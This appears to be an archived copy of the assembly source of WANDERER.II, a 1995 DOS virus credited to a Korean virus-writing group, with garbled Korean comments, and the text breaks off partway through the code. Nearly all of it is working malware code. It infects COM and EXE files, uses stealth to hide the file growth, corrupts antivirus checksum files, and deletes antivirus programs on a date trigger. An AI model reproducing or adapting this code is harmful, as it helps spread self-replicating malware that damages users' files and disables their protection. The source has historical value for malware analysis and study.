home *** CD-ROM | disk | FTP | other *** search
- ;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
- ;
- ; ñw£w╕a.II (╦bÑi ñß╕σ)
- ; ********************************
- ;
- ; ╖íƒq : ñw£w╕a.II (╦bÑiñß╕σ)
- ; öaƒe ╖íƒq : -
- ; ╣A╕b╕a : ña╖í£ß»a╖ü ïí¼a (KOV : Knight Of Virus)
- ; ïa₧ô : ¼ß╢ë ña╖í£ß»a ╡e╨s (SVS : Seoul Virus Society)
- ; ╣A╕b╗í : ╨eèé (95æe 8╢⌐ 17╖⌐)
- ;
- ; ┤σ┤ß : MASM / TASM
- ; ╣╖ƒA : ¼w║ü╤w / COM,EXE / ñe ñé»Ñ ┼íùa / ╖e═ü╤w
- ;
- ; ¼Θíw : ┤e╦í ña╖í£ß»a òA╖í╚ß ╠a╖⌐╖i ╠aèA╨aëí èé¼e ñé»Ñòí ╠aèA╨eöa.
- ; êü¼σ╕±╖a¥í MSAV ê{╖e ╧a¥íïa£æ╖í »⌐╨ùûIÿü òA╖í╚߃i ╠aèA╨ü┤í ╨iê⌡╖íía
- ; ñé»Ñ╖ü ¼b╣Aòí Éi╝a Ñíöaôe ╟aïíƒi ê±¼a╨ü Ñíôe ñwñ≤òí ╣╜╖i ê⌡╖íöa.
- ; æ╝╖e ñß╕σ╖⌐ «ü¥ó ╠a╖⌐╖ü ╟aïíêa ─ß╗íïí öüóà╖íöa.
- ;
- ; PC-VAN ╨ü─ßò╖╖i ╢ß╨ü¼ß ╦bÑi ╣A╕bûE ñß╕σ╖íöa.
- ;
- ;
- ;
- ;
- ;
- ;
- ;
- ;
- ;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
-
- PARASIZE EQU (End_Memory-Entry+0fh) SHR 4 + 10h
-
- VIRUS SEGMENT PUBLIC 'VIRUS'
- ASSUME CS:VIRUS ,DS:VIRUS
-
- Entry: NOP
- jmp Virus_Start ; ña╖í£ß»a »í╕b╖a¥í ╕±╧a
- NOP
- DB 'SP',70h,'VIR' ; COM ╠a╖⌐╖ü êq╡q╡aªü¥í │a╖Ñöa.
- ; Svs Program ╖ü ┤ó╕a╖▒.70╖e ñß╕σ
-
- ;<><><><><><><><><><><><><><><><><><><><><><>
- ; ╤┬╕w╕aêa EXE ╖Ñ╗í ê±¼a
- ;<><><><><><><><><><><><><><><><><><><><><><>
-
- ChkEXT:
- cmp word ptr ds:[SI-5],'E.' ; ╖íúí SI êt╖e ╠a╖⌐ áa╗íáb╡A ╢ß├í
- jnz ChkAVDF ; ╨ü ╖╢┤÷öa.
- cmp word ptr ds:[SI-3],'EX'
- jz ChkNIF ; ╠a╖⌐ ╖íƒq ê±¼a
-
- ; ┤e╦í ña╖í£ß»a╖ü òA╖í╚ß ╠a╖⌐╖Ñêa?
- ChkAVDF:
- mov di,offset AVDF - 8 ; òA╖í╚ß ╢ß├í
- mov cx,0003 ; 3╥A ñeÑó
- AVDF_Loop:
- mov si,cs:[FN_Start] ; ╠a╖⌐ ╖íƒq »í╕b╕±
- push cx
- add di,+08 ; +8 ûß╡A
- mov cl,08 ; 8ñσ ºíèa
- push di ; DIêa ñaÄßúa¥í ╕ß╕w
- repz cmpsb ; ºíèa
- jz Crack_AVDF ; áx╖aíe ╠aèA╨q
- pop di
- pop cx
- dec cx ; 3╥A ñeÑó╖Ñêa?
- jnz AVDF_Loop
- RET
- Crack_AVDF: ; ┤e╦í ña╖í£ß»a òA╖í╚ß╠a╖⌐ ╠aèA
- pop di
- pop cx
- Crack_AVDF1:
- mov byte ptr cs:[F_AVDF],01 ; ╠a╖⌐ ╠aèA(Éa║ù╡A ╡í╧eûEÿü)
- JMP callInfected
-
- ;<><><><><><><><><><><><><><><><><><><><><><>
- ; ñé»Ñ ╧a¥íïa£æ ╠aèA
- ;<><><><><><><><><><><><><><><><><><><><><><>
-
- ChkFNisTV: ; »⌐╨ù║ù╖Ñ╗í ê±¼a »⌐╨ù║ù╖ííe TV ╖Ñ╗í ê±¼a
- cld
- cmp byte ptr CS:[Active],01 ; 3╢⌐ 19╖⌐ ╖í╕σ╡Aôe ñé»Ñ ╠aèA┤e╨q
- jnz ChkNIF
- mov si,cs:[FN_Start]
- mov ax,word ptr DS:[SI]
- cmp AX,'VT' ; TV ╖Ñêa?
- jz ChkChance
- cmp AX,'3V' ; V3 ╖Ñêa?
- jz ChkChance
- cmp AX,'AK' ; KAV ╖Ñêa?
- jz ChkChance
- cmp AX,'2T' ; TKO öü»Ñ╡A T2 ╠aèA
- jnz ChkNIF
-
- ChkChance:
- call Get_randomAL ; 1/4 ╤┬ƒI¥í ╠aèA
- and al,03
- cmp al,03
- jnz Exit_ChkFN ; ┤aôííe êq╡q╣A╢A
-
- Push DS
- Push dx
- mov ah,9 ; íA»í╗í ┬ë¥b
- push cs
- pop ds
- mov dx, offset Msg2
- Int 21h
-
- Crack_TV: ; ñé»Ñ ¼b╣A
- pop dx
- pop ds
- xor cx,cx ; ¡ó¼≈╖i ╖¬ïí/│aïí¥í ñaÄæ
- mov ax,4301h
- Int 21h
- mov ah,41h ; ╠a╖⌐ ¼b╣A
- Int 21h
- Push CS ; DS:DX
- Pop DS
- jmp Print_M ; íA»í╗í ┬ë¥b
-
- ChkNIF:
- mov si,cs:[Fn_START]
- mov di,offset NIF ; êq╡q╣A╢A ╠a╖⌐╖ü ╢ß├í
- lodsw ; DS:[SI] -> AX
- mov cx,0008 ; 8ñσ ê±¼a
- repnz scasw ; ╠a╖⌐ └⌡╕aêa êq╡q╣A╢A ╠a╖⌐╖Ñêa?
- jz Exit_ChkFN
- mov si,CS:[Fn_Start]
- ChkVS: lodsb ; DS:SI -> AL
- cmp al,00 ; ╠a╖⌐ ╖íƒq Å{╖Ñêa?
- jz callInfected
- cmp al,'V' ; V ╕a╖Ñêa?
- jz Exit_ChkFN
- cmp al,'S' ; S ╕a ╖Ñêa?
- jz Exit_ChkFN
- jmp ChkVS
- callInfected:
- call ChkInfected ; ╠a╖⌐ êq╡q ₧ü╦Ñ ╤í┬ë
- Exit_ChkFN:
- RET ; ₧ü╦Ñ╖a¥í ╕±╧a
-
- ;<><><><><><><><><><><><><><><><><><><><><><>
- ; £àö±êt ┤Φïí
- ;<><><><><><><><><><><><><><><><><><><><><><>
- Get_RandomAL: ; AL╡A ╖▒╖ü╖ü êt╖í ╕ß╕w
- push es
- xor ax,ax
- mov es,ax
- mov al,ES:[046ch] ; 0000:46Ch ôe ╖▒╖ü╖ü »íêeêt
- pop es
- RET
-
- MEP_start:
- ; ╗Ñöe╡A¼ß ╣A╢AûAôe ╠a╖⌐ùi:
- ; HW : HWP.EXE ; ┤a£ü┤a ╨eïi »⌐╨ù ╠a╖⌐
- ; F- : F-PROT.EXE ; ┤e╦í ñé»Ñ ╧a¥íïa£æ
- ; TB : TBSCAN.EXE ; TBAV ╢w ê±¼é ╧a¥íïa£æ
- ; CL : CLEAN.EXE ; áé┤a╧í ╡e╨s╖ü ├í₧a╢w ╧a¥íïa£æ
- ; CO : COMMAND.COM ;
- ; WC : WCD.EXE ;
- ; TK : TKO.EXE ; ╚a╟í╡Ñ ñé»Ñ
- ; T2 : T2.EXE ; ╚a╟í╡Ñ II ñé»Ñ
- NIF DB 'HWF-TBCLCOWCTKT2'
- DW ?,? ; úí£üƒi ╢ß╨ü 2êü ╡aªà Éqëaûæ
-
- ; CHKLIST. MS ; MSAV ╢w
- ; CHKLIST. CPS ; CPAV ╢w
- ; SMARTCHK.CPS ; CPAV ┬A»Ñ ñß╕σ╢w
- ; ANTI-VIR.DAT ; TBAV ╢w
- AVDF DB 'CHKLIST.SMARTCHKANTI-VIR',00
-
- ;
- ; ╤┴íe╡A ┬ë¥b╨iÿü ¼a╢wûAôe óà╕a╡i
- Msg1 DB 0Dh,0Ah ; ╨e─e ¢ü╢üïí
- DB ' *[ The WANDERER.II (for PC-VAN/Hacker dong) VIRUS 1995/08/17 ]*'
- DB 0Dh,0Ah
- DB ' (c) Copyleft 9187-9192 by KOV of SVS,COREA',0Dh,0Ah,00h
-
- Msg2 DB 0Dh,0Ah
- DB ' Join us! Join together! SVS!$'
- MEP_END: ; ╖íóà╕wîa╗í ┤q╤í╤┴ ûEöa.
-
- ;<><><><><><><><><><><><><><><><><><><><><><>
- ; ╖e═ü ïíñ≤ ¼a╢w (Stealth Technique)
- ;<><><><><><><><><><><><><><><><><><><><><><>
- FCBstealth:
- xchg ah,al
- call dword ptr cs:[OldInt21] ; DIR ïíôw ╤í┬ë
- pushf
- cmp al,0FFh ; ╡A£ß?
- jz Exit_Stealth
- nop
-
- push ax
- push si
- push ds
- mov si, word ptr cs:[DosDTA] ; DIR »í 1ah ïíôw╖í ¼a╢wûAôeòA
- mov ds, word ptr cs:[DosDTA+2] ; ╖íúí êa¥í└à╥üöa.
- cmp byte ptr DS:[SI],0FFh ; ╤┬╕w FCB ╖Ñêa?
- jnz No_NFCB
- add SI,+07 ; ╤┬╕w╢w FCBƒi FCB ╡┴ ╔╖╖⌐ »í╟▒
- No_NFCB: mov AL,byte ptr ds:[SI+17h] ; ┴íƒi ┤Φôeöa.
- and AL,1Fh ; êq╡q╡aªü ê±¼a
- NOP
- cmp AL,1Fh
- JNZ No_Infected
- nop
- cmp byte ptr ds:[SI+09h],'C' ; COM ╠a╖⌐ ╖Ñêa?
- jz Sub_COM
- SUB WORD PTR ds:[SI+1Dh],offset END_VIRUS + 16 ; EXE ╠a╖⌐ ╖e═ü
- sbb WORD PTR ds:[SI+1fh],+00
- jmp No_Infected
- Sub_COM: SUB Word ptr ds:[SI+1Dh],offset END_VIRUSCOM ; COM ╠a╖⌐ ╖e═ü
- sbb word ptr ds:[SI+1Fh],+00
- No_Infected:
- pop ds
- pop si
- pop ax
- Exit_Stealth:
- popf
- RETF 0002 ; ╢Ñ£üöü¥í ò⌐┤aêaïí
-
- ;<><><><><><><><><><><><><><><><><><><><><><>
- ; ña╖í£ß»aêa êa¥í└üôe Int 21h êt
- ;<><><><><><><><><><><><><><><><><><><><><><>
- NOP
- NOP
- VirInt21:
- pushf
- xchg ah,al ; AH,AL ñaÄüïí
- cmp ax,070F0h ; ña╖í£ß»a ¼w║ü╡aªü ê±¼a╖Ñêa?
- jnz Chk_AX
- xor ax,ax ; AX=0000╖i ║àöa.
- popf
- IRET ; ña╖í£ß»aêa £æ╡A ╖╢öaôe ê⌡╖i ┤i¥v
- nop ; ╖q
-
- Chk_AX: cmp al,11h ; DIR íw¥w╖Ñêa?
- jz FCBStealth
- cmp al,12h ; DIR íw¥w╖Ñêa?
- jz FCBStealth
- NOP
- cmp al,3Dh ; ╡í╧e
- jz Push_
- cmp al,41h ; ╠a╖⌐ ╗í╢üïí
- jz Push_
- cmp al,43h ; ¡ó¼≈ ┤Φïí/ñaÄüïí
- jz Push_
- cmp al,4Bh ; »⌐╨ù
- NOP
- jnz ChkALis56h
- cmp byte ptr CS:[F_Execute],02 ; íyñσ╝ü »⌐╨ù╖Ñêa?
- ja Push_
- inc byte ptr CS:[F_Execute] ; +1
- ChkALis56h:
- cmp al,56h ; ╖íƒq ñaÄüïí
- jz Push_
- cmp al,6ch ; ¼ü¥í╢à ╡í╧e ñw»ó
- jz Push_
-
- cmp al,1ah ; DIR ╕σ╡A ╤í┬ëûQ
- jnz Go_Int21
- mov word ptr cs:[DosDTA],dx
- mov word ptr cs:[DosDTA+2],ds
-
- Go_Int21: ; ╢Ñ£ü int 21¥í ╕±╧a
- xchg al,ah ; ╢Ñ£ü êt╖a¥í ñaÄüïí
- popf
- DB 0EAh ; JMP xxxx:xxxx
- OldInt21 DD ?
-
- NOP
- NOP
- callInt21: ; ╢Ñ£ü Int 21h Éü╢w ╤í┬ë
- xchg ah,al
- NOP
- pushf
- call dword ptr CS:OldInt21
- RET
-
- Push_: xchg ah,al ; ╢Ñ£ü AX
- Push ax ; ¥A╗í»a╚ß ╕ß╕w
- Push bx
- Push cx
- Push dx
- Push ds
- Push es
- Push si
- Push di
-
- cmp ah,6Ch ; ¼ü¥í╢à ╡í╧e╖Ñêa?
- jnz C_GetFstName ; ┤aôííe ╠a╖⌐╖íƒq»í╕b╢ß├í┤Φïí
- mov dx,si ; SI=╠a╖⌐ ╡í╧a¡Uêt
- NOP
- C_GetFstName:
- call Get_FstName ; ╠a╖⌐ »í╕b ╢ß├í ┤Φïí
- ; SI= ╠a╖⌐ ╖íƒqÅ{╢ß├í
- ChkAH4B:
- cmp ah,4bh ; »⌐╨ù╖Ñêa?
- NOP ; »⌐╨ù╖í ┤aôííe ╤┬╕w╕aêa EXE ╖Ñ╗í
- jnz c_ChkEXT ; ê±¼a╨q
- NOP
- call ChkFNisTV ; ñé»Ñ ╧a¥íïa£æ ╖Ñ╗í ê±¼a╨ü ╗í╢æ
- jmp Pop_
- C_ChkEXT:
- call ChkEXT ; ╤┬╕w╕a ê±¼a
- ; EXE ╖ííe ╠a╖⌐ ╖íƒq ê±¼a
- ; ïa╢A ╠a╖⌐╖ííe ┤e╦í ña╖í£ß»a╠a╖⌐
- ; ╖Ñ╗í ê±¼a
- ; Å{Éàöa.
- Pop_: Pop di ; ¥A╗í»a╚ß Ñóèü
- Pop si
- Pop es
- Pop ds
- Pop dx
- Pop cx
- Pop bx
- Pop ax
- mov byte ptr CS:[F_AVDF],00 ; 01╖ííe öaƒe ╠a╖⌐òí ╠aèAûAúa¥í
- xchg ah,al
- jmp Go_Int21 ; ╢Ñ£ü Int 21h ¥í ╕±╧a
-
- ;<><><><><><><><><><><><><><><><><><><><><><>
- ; ╠a╖⌐ êq╡q »í╟íïí
- ;<><><><><><><><><><><><><><><><><><><><><><>
- ChkInfected:
- call Get_RandomAL ; £àö± AL êt èü╨aïí
- mov byte ptr CS:[ME_DATA],al ; ┤q╤í╤┴╡A ¼a╢w╨i êt
- call Msg_Encrypting ; íA¡A╗í ┤q╤í╤┴ ╨aïí
- Push dx
-
- ; ùí»a╟a╖ü ºÑë╖êe╖i ┤i┤aÉæ
- NOP
- mov si,dx
- xor dl,dl
- cmp byte ptr ds:[SI+01],':' ; öaƒe ùa£a╖íºa ╖Ñêa?
- jnz GetDSKspace
- mov dl,byte ptr ds:[si] ;
- and dl,1fh
-
- GetDSKspace:
- mov al,36h ; ºÑë╖êe ┤i┤aÉüïí
- call callInt21
- cmp ax,0FFFFh ; ╡A£ß╖Ñêa?
- jz GetDSK_err
- cmp bx,+04 ; Éq╖eê⌡╖e 4¡B╚ß╖Ñêa?
- ja Set_Int24
- GetDSK_err:
- Pop DX
- jmp Exit
-
- Set_Int24: ; ├ííw╕Γ╖Ñ ╡A£ßêa Éaòí óë┤ßÑí╗í ┤gëí ïaÉ╖ ɱïÑöa.
- Pop DX
- mov cx,ds
- xor ax,ax
- mov ds,ax
- les ax,DS:[0090h]
- push ax ; Int 24h êa¥í └üïí
- push es
- mov word ptr DS:[0090h],offset VirInt24
- mov word ptr DS:[0092h],cs
-
- NOP
- mov ds,cx
- Push DS
- Push DX
- mov ax,0043h ; ¡ó¼≈ ┤i┤aÉüïí
- call callInt21
- Push CX
-
- xor cx,cx
- mov ax,0143h ; ╖¬ïí/│aïí êaôw╨aëA ñaÄæ
- call callInt21
- jnc attr_succ
- jmp Open_error
-
- attr_succ:
- mov ax,023dh ; ╠a╖⌐ ╡í╧e
- call callInt21
- jnc open_succ
- jmp open_error
-
- OPen_succ:
- push cs
- pop ds
- push cs
- pop es
-
- xchg bx,ax
- mov ax,0057h ; ╢Ñ£ü ╠a╖⌐╖ü Éi╝a/»íêe╖i ┤i┤aÉæ
- call callInt21
- push dx
- mov word ptr FileTime,cx ; »íêe ╕ß╕w(êq╡q╥ü╡A Ñe╨aúa¥í)
-
- CmpF_AVDFis1:
- cmp byte ptr CS:[F_AVDF],01 ; │iòA┤⌠ôe ╠a╖⌐╖ííe ╠aèA»í╟Ñöa.
- jnz ChkFileSize ;
- mov ah,40h
- mov dx, offset End_Memory ; ╢ß├íôe ña╖í£ß»aêa ┤aôí£a Å{ªüªà
- mov cx,2048 ; 2KB ës┴a│aïí
- Int 21h
- jmp InfectedTime
-
- ChkFileSize:
- mov al,02 ; ╠a╖⌐╖ü Å{╖a¥í êaïí
- call SetPnt
-
- NOP
- or dx,dx ; 64KB Ñíöa╟eêa?
- jnz ChkFileType
- cmp ax,7654 ; 7654 Ñíöa ╕b╖eêa?
- ja ChkFileType
- Too: jmp Restore_DT ; ╖íëw╢üôe êq╡q╖í ┤eûA┤÷╖aúa¥í ╕≈
- ; ¼w »íêe╖íöa.
- ChkFileType:
- cmp dx,0006 ; ï⌐╖íêa 300KB ƒi ɱôeöa.
- ja Too
- mov word ptr FileSize,ax
- mov word ptr FileSize[2],dx
- mov COM_size,ax ; ╕ü»⌐╨ùÿü ¼a╢w╨i ï⌐╖í (COM ╢w)
-
- Read_File:
- mov al,00 ; └ß╖q╖a¥í ╖íò╖
- call SetPnt
-
- mov al,3fh ; ╠a╖⌐╖ü ┤|ªüªà╖i ╖¬┤ß ùi╖▒
- mov dx,offset Buffer4F ; ╖¬┤ßùi╖⌐ ║ü¡í
- mov si,dx
- mov cx,0066h ; ï⌐╖í
- call callInt21
- jnb Read_ok
- jmp Restore_DT
-
- Read_ok:
- mov al,00h
- call setPnt
- mov ax,word ptr Buffer4F ; AX ╡A ╠a╖⌐ └ß╖q╖ü êt
- cmp ax,'MZ' ; EXE ╠a╖⌐╖Ñ╗í ºíèa
- jz TypeisEXE
- cmp ax,'ZM' ; 'ZM'╖í┤÷Éa?
- jnz Infect_COM
- ; cmp byte ptr DS:[Active],00 ; 3╢⌐ 08╖⌐ ╥ü╡A EXE ╠a╖⌐êq╡q
- ; jz Go_etDT
- TypeisEXE:
- jmp infect_EXE
- ; Jmp Restore_DT ; 3╢⌐ 8╖⌐ ╖í╕σ╖ííe COM áeêq╡q
-
-
- Infect_COM: ;<><><><><><><><><><><><><>
- ; COM ╠a╖⌐╖i êq╡q »í╟Ñöa.
- NOP ;<><><><><><><><><><><><><>
- cmp word ptr ds:COM_size,63000 ; 63000 ╖í¼w╖ü ╠a╖⌐╖Ñêa?
- ja Restore_DT ; êq╡q ╣A╢A
- xor di,di ; ña╖í£ß»a╡┴ └ß╖q 7ña╖í╦a ºíèa
- mov cx,0007h ;
- repz cmpsb
- jnz Alloc_COM_MEM
- jmp InfectedTime ; ╖íëw╢üôe ┴íƒi Ñeëw»í╟Ñöa.
-
- Alloc_COM_MEM:
- push bx
- mov bx,1000h ; 64kb ╨iöw
- mov al,48h
- call callInt21
- jnc memory_ok ;
- pop bx
- jmp Restore_DT ; íAííƒí ªü╣ó?
- memory_ok:
- nop
- mov es,ax ; AX╡A ║ü¡í
- nop
- xor si,si ; si,di =0000
- pop bx ; ╠a╖⌐ ╨àùi Ñóèü
- xor di,di
- mov cx,offset End_virusCOM ; ña╖í£ß»a ï⌐╖íáe╟q ïa íAííƒí¥í
- ; Ñó¼a
- repz movsb ; DX=╢Ñ£ü ╠a╖⌐ ╖¬╖ië╡
- mov cx,com_size ; ╢Ñ£ü ╠a╖⌐╖ü ï⌐╖í
- mov dx,di
- push es
- mov al,3fh ; ╖¬┤ß ùi╖▒
- pop ds
- call callInt21
- jb Restore_DT
-
- mov al,00 ; ╠a╖⌐ └ß╖q╖a¥í ╖íò╖
- call SetPnt
-
- mov cx,com_size ; ╢Ñ£ü╖ü ╠a╖⌐╡A ña╖í£ß»a áe╟q öß╨q
- add cx,offset End_virusCOM
- xor dx,dx
- mov al,40h ; ùí»a╟a╡A ╕ß╕w
- call callInt21
-
- NOP
- mov al,49h ; íAííƒí ╤A╣A
- call callInt21
-
- push cs
- pop ds
-
- InfectedTime:
- or word ptr FileTime,+1Fh ; 61┴í¥í...
- Restore_DT:
- pop dx ; Éi╝a Ñóèü
- mov cx,word ptr FileTime ; êq╡q»⌐╠üíe ╕≈¼w╕Γ╖Ñ »íêeùi┤ß╡▒
- mov ax,0157h ; Éi╝a/»íêe ╕≈¼w╖a¥í Ñóèü
- call callInt21
-
- Close_file:
- MOV al,3eh ; ╠a╖⌐ öhïí
- call callInt21
- nop
-
- Open_error: ; ╡í╧e »⌐╠ü»í
- mov ax,0143h ; ╢Ñ£ü ¡ó¼≈╖a¥í
- pop cx
- pop dX
- pop DS
- Call callInt21
- Attr_error: ; ¡ó¼≈ »⌐╠ü»í
- xor ax,ax
- mov ds,ax
- pop DS:[0092h]
- pop DS:[0092h]
-
- Exit: ; ╢Ñ£ü int 21h¥í ╕±╧a
- call Msg_Encrypting ; ┤q╤í╤┴ ╬ëïí
- RET
-
- ;<><><><><><><><><><><><><><><><><><><><><><>
- ; EXE ╠a╖⌐ êq╡q
- ;<><><><><><><><><><><><><><><><><><><><><><>
- Infect_EXE:
- mov word ptr NEType,00 ; NE ╚a╖│╖ü EXE ╠a╖⌐╖Ñ╗í ê±¼a
- mov dx, DS:[SI+60] ; OS/2 & Windows
- mov cx, DS:[SI+62]
- mov ax,4200h
- Int 21h
- mov cx,0002
- mov dx, offset NEType ; ╖¬ïí
- mov ah,3Fh
- Int 21h
- cmp word ptr DS:[NEType],'EN' ; NE ╖ííe êq╡q ╣A╢A
- jnz ChkOVr ; ╡íñߥA╖í ╖Ñ╗í ê±¼a
- Jmp Restore_DT
-
- ChkOVR:
- NOP
- mov ax, DS:[SI+04h] ; »⌐╣Aï⌐╖í╡┴ ╤Aößï⌐╖í╡┴ ºíèa
- cmp word ptr [SI+02h],00 ; (Éüªü ╡íñߥA╖í EXE ╠a╖⌐╖e
- jz MUL_200 ; êq╡q╣A╢AûQ)
- DEC AX
- Mul_200: mul word ptr Mul200
- add ax,[SI+02h]
- ADC dx,+00
- cmp word ptr FileSize,AX
- jz ChkSize_2
- JMP Restore_DT
- ChkSize_2:
- cmp word ptr FileSize+2,DX
- jz Chk_EXEinfected ; êq╡q ╡aªü ╠eöe
- JMP Restore_DT
-
- Chk_EXEinfected:
- cmp word ptr [SI+12h],0F070h ; êq╡q╡aªüôe ûüêa╗íêa ¼a╢wûEöa.
- jnz Modify_EXE
- cmp word ptr [SI+14h],offset EXE_Start ; IPêt
- jnz Modify_EXE
- jmp InfectedTime ; ╖íúí êq╡qûA┤÷╖q. ┴íôe »a╔I»aƒi
- ; ╢ß╨ü ñaÄæ (╤ó»í ñaÄß┤÷╖i«üòí
- ; ╖╢╖aúa¥í)
- Modify_EXE:
- mov word ptr [SI+12h],0F070h ; êq╡q »óÑi╕a │aïí
- Push CS
- Pop DS
- mov si, offset Buffer4F[0Eh] ; ╤Aöß Éü╢w Ñó¼a»í╟▒
- mov di, offset EXE_SS
- mov cx,0010
- repz movsb
-
- call Get_RandomAL ; Ée«üêt╖i AL ¥í ªë£ßùi╖▒
- mov byte ptr Ra_Time[1],al ; ┤q╤í╟í
- xor byte ptr ds:[E_loop],08 ; INC AX/DEC AX ¥í Ñe╤┼
- push cs
- pop es
- call EXE_DATA_ENCRY ; EXE òA╖í╚ßêt ┤q╤í╤┴
-
- mov al,02 ; ╠a╖⌐ Å{╖a¥í êaïí
- call SetPnt
-
- NOP ; áéêa╖íñßê⌡╖i ¼a╢w╨û╖q
- mov cx,ax ; 16╖ü ñü«ü¥í áeùiïí
- add ax,0010h
- adc dx,+00
- and ax,0FFF0h
-
- Push AX ; FileSize
- Push DX ; FileSize[2]
- and cx,000Fh ; ╖íªüªà╖í ╦b╕≈ ï⌐╖íáe╟q
- ADD cx,offset End_Virus ; ╗wêa╨aëA ╨aôeê⌡╖▒. (ña
- add ax,cx ; ╖í£ß»a ï⌐╖í Ñíöaôe +16ûQ)
- adc dx,+00
- mov word ptr FileSize,ax
- mov word ptr FileSize[2],dx
- mov cx,0200h ; /512
- div cx
- or dx,dx ; Éaáß╗íêa ╖╢ôeêa?
- jz No_inc
- inc ax
- No_inc: mov word ptr Buffer4F[2],dx
- mov word ptr Buffer4F[4],ax
-
- Pop DX ; FileSize+2
- Pop AX ; FileSize
- Push AX
- Push DX
- mov cx,0010h ;
- div cx ;
- sub ax,word ptr Buffer4F[08h] ;
- mov word ptr Buffer4F[14h],offset EXE_start
- mov word ptr Buffer4F[16h],ax ; ëü¼eûE ¡Aïaáσ╦a
- mov word ptr Buffer4F[0Eh],ax
- mov word ptr Buffer4F[10h],offset End_Virus
-
- mov al,00
- call SetPnt
-
- mov al,40h ; EXE ╤Aöß Éü╢w │aïí
- mov cx,001ch
- mov dx,offset Buffer4F
- call callInt21
-
- mov ax,4200h
- Pop CX ; FileSize
- Pop DX ; FileSize+2
- int 21h
-
- mov ah,40h ; ña╖í£ß»a │aïí
- mov cx,offset End_Virus
- xor dx,dx
- Int 21h
-
- mov ax,4200h
- mov dx,word ptr FileSize
- mov cx,word ptr FileSize[2]
- int 21h
-
- mov ah,40h ; û⌡ªüªà╖e ñ߃▒
- xor cx,cx
- Int 21h
- jmp InfectedTime
-
- ;<><><><><><><><><><><><><><><><><><><><><><>
- VirInt24:
- XOR AL,AL ; ╡A£ß └߃íƒi óü»í╨eöa.
- IRET
-
- ;<><><><><><><><><><><><><><><><><><><><><><>
- ; ña╖í£ß»a »í╕b
- ;<><><><><><><><><><><><><><><><><><><><><><>
- Virus_Start: ; COM »í╕b
- NOP
- call Chk_Installed ; ña╖í£ß»a ¼w║ü╡aªü ê±¼a
- or ax,ax
- jnz change_cs ; 0 ╖í ┤aôííe CS êt ñaÄüïí
- NOP
-
- ;<><><><><><><><><><><><><><><><><><><><><><>
- ; ╢Ñ£ü COM Ñóèü ╨ü¼ß »⌐╨ù
- ;<><><><><><><><><><><><><><><><><><><><><><>
- nop
- mov si,offset Restore_COM+100h ; Ñó¼a╨i Éü╢w╖ü ║ü¡í
- mov di,Com_Size+100h ; ╢Ñ£ü ╠a╖⌐ ï⌐╖í
- add di,offset End_virusCOM+100h; ña╖í£ß»aï⌐╖í+╢Ñ£üï⌐╖í=╠a╖⌐╖üÅ{
- push di ; ╡½ï⌐ë╡╖ü ║ü¡í
- mov cx, 000Fh ; Ñó¼a╨i Éü╢w╖ü ï⌐╖í
- repz movsb
- RET ; ╠a╖⌐╖ü Å{╖a¥í ╕±╧a(╢ß╡A¼ß diêt)
- NOP
- NOP
-
- Restore_COM: ; COM ╠a╖⌐ Å{ªüªà╡A¼ß »⌐╨ùûQ
- mov si,offset End_virusCOM+100h ; ╢Ñ£ü ╠a╖⌐╖ü »í╕b ªüªà
- mov cx,word ptr Com_size+100h ; COM ╠a╖⌐╖ü ï⌐╖í
- mov di,100h ; ╠a╖⌐╖ü └ß╖q ªüªà
- push di ;
- repz movsb ; Ñó¼a
- RET ; »a╚é╡A 100hêa ╕ß╕wûA┤ß¼ß 100h¥í
- ; ╕±╧a╨q
-
- Change_CS: ; EXE ╡┴ ¡Aïaáσ╦a ╔╖╖⌐╨q
- NOP
- NOP
- push cs ; COM ╖e 100h ªü╚ß »í╕b╨aÉa EXEôe
- pop ax ; 00h ªü╚ß »í╕b╨ü ║ü¡íƒi ê{ëA╨eöa.
- add ax,0010h
- mov ss,ax ; »a╚é╖i ñaÄàöa.
- mov sp,offset End_virus
- nop
- push ax
- mov ax,offset Res_Virus ; ╕±╧a╨i ë╡╖e Res_Virus
- push ax
- RETF ; ╕±╧a
- DB ' ' ; ºÑë╖êe
-
- EXE_Start: ; EXE ╠a╖⌐╖í »í╕b╨aôe ë╡
- NOP
- NOP
- mov word ptr CS:[EXE_AX],AX ; ╢Ñ£ü AX êt ╕ß╕w
- call Chk_Installed ; £æ╡A ña╖í£ß»aêa ╖╢ôe╗íê±¼a
- or ax,ax
- jnz Res_Virus
-
- call EXE_DATA_ENCRY ; ╢Ñ£ü EXE ╠a╖⌐╖ü ┤q╤íƒi ╬àöa.
- nop
- mov ax,es ; ╢Ñ£ü EXE ╠a╖⌐╖i »⌐╨ù╨eöa.
- add ax,0010h
- add cs:[Exe_CS],ax
- add cs:[Exe_SS],ax
- mov ax,CS:[EXE_AX] ; ╢Ñ£ü AX êt Ñóèü
- mov ss,CS:[Exe_SS] ; »a╚é Ñóèü
- mov sp,CS:[Exe_SP]
- jmp dword ptr cs:[Exe_IP] ; ╕±╧a
-
- Res_Virus: ; ña╖í£ß»aƒi £æ╡A ¼w║ü »í╟Ñöa.
- mov ah,2Ah ; ╡íôi╖e ía├⌐╖Ñêa?
- Int 21h
- cmp cx,1995 ; 1995æe╖Ñêa?
- jnz Decode_MSG
- cmp dh,4 ; 4╢⌐öi?
- jnz Decode_MSG
- mov byte ptr CS:[Active],01 ; ╤╔ò╖╨q
- Decode_MSG:
- call Msg_Encrypting ; íA»í╗í ┤q╤í╤┴ƒi ╬àöa.
- nop
- mov cs:PSP1,es ; ╕ü»⌐╨ù»í ¼a╢w╨i êt ╕ß╕w
- NOP
- mov cs:PSP2,es
- mov cs:PSP3,es
-
- mov byte ptr CS:[F_AVDF],00 ; ┤e╦í ñé»í╢w òA╖í╚ß ╠a╖⌐ èüÑi
- mov cx,offset End_Memory
- xor si,si
- push es
- pop ax ; ╕ß╕w╨ûöσ es êt
- add ax,0010h
- mov es,ax
-
- nop
- xor di,di
- push cs ; cs=ds
- pop ds
-
- push es
- mov ax,offset Allocate_Mem ; ña╖í£ß»aêa ╕üñü├í╥ü╡A ╕±╧a╨ië╡
- push ax
- repz movsb
- RETF
-
- Allocate_Mem: ; ña╖í£ß»aêa ¼a╢w╨i áe╟q╖ü £æáe╖i └a╗í╨eöa.
- nop
- push cs
- pop ax
- mov ss,ax
- mov sp,offset End_VIRUS ; »a╚é╖ü ╕ü¼Θ╕≈
-
- mov bx, PARASIZE
- mov ah,4Ah ; £æ ╟aïí ñaÄüïí (ña╖í£ß»aáe╟qáe
- mov es,CS:PSP1 ; └a╗í)
- int 21h
-
- xor ax,ax ;
